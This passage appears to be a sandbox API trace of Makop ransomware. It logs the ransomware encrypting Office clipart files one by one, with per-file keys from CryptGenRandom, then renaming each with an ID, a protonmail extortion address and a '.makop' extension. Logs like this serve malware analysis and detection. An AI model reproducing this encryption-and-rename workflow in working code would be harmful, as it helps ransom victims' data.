hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0148.097] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0148.097] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0148.097] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0148.097] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0148.097] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.098] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xae4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xae4, lpOverlapped=0x0) returned 1 [0148.098] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xaf0, dwBufLen=0xaf0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xaf0) returned 1 [0148.098] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.098] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xaf0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xaf0, lpOverlapped=0x0) returned 1 [0148.098] CryptDestroyKey (hKey=0x48c7128) returned 1 [0148.098] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xbc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.098] SetEndOfFile (hFile=0xf0) returned 1 [0148.105] GetProcessHeap () returned 0x48a0000 [0148.105] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0148.106] GetProcessHeap () returned 0x48a0000 [0148.106] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0148.106] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00345_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0148.106] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00345_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00345_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00345_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00345_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0148.107] CloseHandle (hObject=0xf0) returned 1 [0148.108] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5aabee00, ftCreationTime.dwHighDateTime=0x1bd4af2, ftLastAccessTime.dwLowDateTime=0x5a980590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5aabee00, ftLastWriteTime.dwHighDateTime=0x1bd4af2, nFileSizeHigh=0x0, nFileSizeLow=0x540, dwReserved0=0x0, dwReserved1=0x0, cFileName="SL00452_.WMF", cAlternateFileName="")) returned 1 [0148.108] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00452_.WMF") returned 63 [0148.108] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00452_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00452_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0148.109] GetProcessHeap () returned 0x48a0000 [0148.109] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0148.109] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0148.109] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0148.109] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0148.109] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0148.109] GetProcessHeap () returned 0x48a0000 [0148.110] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0148.110] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0148.110] CryptDestroyKey (hKey=0x48c7128) returned 1 [0148.110] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0148.124] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0148.125] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0148.125] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0148.125] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0148.125] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0148.125] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0148.125] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0148.126] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.126] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x540, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x540, lpOverlapped=0x0) returned 1 [0148.126] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x540, dwBufLen=0x540 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x540) returned 1 [0148.126] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.126] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x540, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x540, lpOverlapped=0x0) returned 1 [0148.126] CryptDestroyKey (hKey=0x48c7128) returned 1 [0148.126] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x614, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.127] SetEndOfFile (hFile=0xf0) returned 1 [0148.133] GetProcessHeap () returned 0x48a0000 [0148.133] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0148.133] GetProcessHeap () returned 0x48a0000 [0148.134] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0148.134] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00452_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0148.134] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00452_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00452_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00452_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00452_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0148.136] CloseHandle (hObject=0xf0) returned 1 [0148.136] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ff15900, ftCreationTime.dwHighDateTime=0x1bd4af2, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4ff15900, ftLastWriteTime.dwHighDateTime=0x1bd4af2, nFileSizeHigh=0x0, nFileSizeLow=0x1db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SL00712_.WMF", cAlternateFileName="")) returned 1 [0148.137] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00712_.WMF") returned 63 [0148.137] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00712_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00712_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0148.138] GetProcessHeap () returned 0x48a0000 [0148.138] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0148.138] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0148.138] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0148.138] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0148.155] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0148.156] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0148.156] GetProcessHeap () returned 0x48a0000 [0148.156] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0148.156] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0148.156] CryptDestroyKey (hKey=0x48c7128) returned 1 [0148.156] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0148.156] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0148.156] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0148.156] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0148.156] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0148.157] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0148.157] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0148.157] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0148.157] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.157] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1db8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1db8, lpOverlapped=0x0) returned 1 [0148.223] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1dc0, dwBufLen=0x1dc0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1dc0) returned 1 [0148.223] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.224] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1dc0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1dc0, lpOverlapped=0x0) returned 1 [0148.224] CryptDestroyKey (hKey=0x48c7128) returned 1 [0148.224] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1e94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.224] SetEndOfFile (hFile=0xf0) returned 1 [0148.262] GetProcessHeap () returned 0x48a0000 [0148.262] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0148.262] GetProcessHeap () returned 0x48a0000 [0148.262] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0148.262] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00712_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0148.262] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00712_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00712_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00712_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00712_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0148.267] CloseHandle (hObject=0xf0) returned 1 [0148.270] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17d63d00, ftCreationTime.dwHighDateTime=0x1bd4bfc, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17d63d00, ftLastWriteTime.dwHighDateTime=0x1bd4bfc, nFileSizeHigh=0x0, nFileSizeLow=0xcdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SL01040_.WMF", cAlternateFileName="")) returned 1 [0148.270] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01040_.WMF") returned 63 [0148.270] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01040_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01040_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0148.271] GetProcessHeap () returned 0x48a0000 [0148.271] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0148.272] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0148.272] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0148.272] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0148.295] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0148.295] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0148.295] GetProcessHeap () returned 0x48a0000 [0148.295] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0148.296] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0148.296] CryptDestroyKey (hKey=0x48c7128) returned 1 [0148.296] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0148.296] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0148.296] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0148.296] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0148.296] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0148.297] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0148.297] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0148.297] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0148.297] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.297] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xcdc, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xcdc, lpOverlapped=0x0) returned 1 [0148.297] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xce0, dwBufLen=0xce0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xce0) returned 1 [0148.297] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.297] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xce0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xce0, lpOverlapped=0x0) returned 1 [0148.298] CryptDestroyKey (hKey=0x48c7128) returned 1 [0148.298] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xdb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.298] SetEndOfFile (hFile=0xf0) returned 1 [0148.313] GetProcessHeap () returned 0x48a0000 [0148.313] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0148.313] GetProcessHeap () returned 0x48a0000 [0148.313] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0148.313] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01040_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0148.313] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01040_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01040_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01040_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01040_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0148.315] CloseHandle (hObject=0xf0) returned 1 [0148.318] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1573e300, ftCreationTime.dwHighDateTime=0x1bd4bfc, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1573e300, ftLastWriteTime.dwHighDateTime=0x1bd4bfc, nFileSizeHigh=0x0, nFileSizeLow=0x60c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SL01041_.WMF", cAlternateFileName="")) returned 1 [0148.318] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01041_.WMF") returned 63 [0148.318] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01041_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01041_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0148.320] GetProcessHeap () returned 0x48a0000 [0148.320] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0148.320] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0148.320] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0148.320] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0148.345] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0148.347] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0148.347] GetProcessHeap () returned 0x48a0000 [0148.347] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0148.347] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0148.347] CryptDestroyKey (hKey=0x48c7128) returned 1 [0148.347] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0148.347] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, 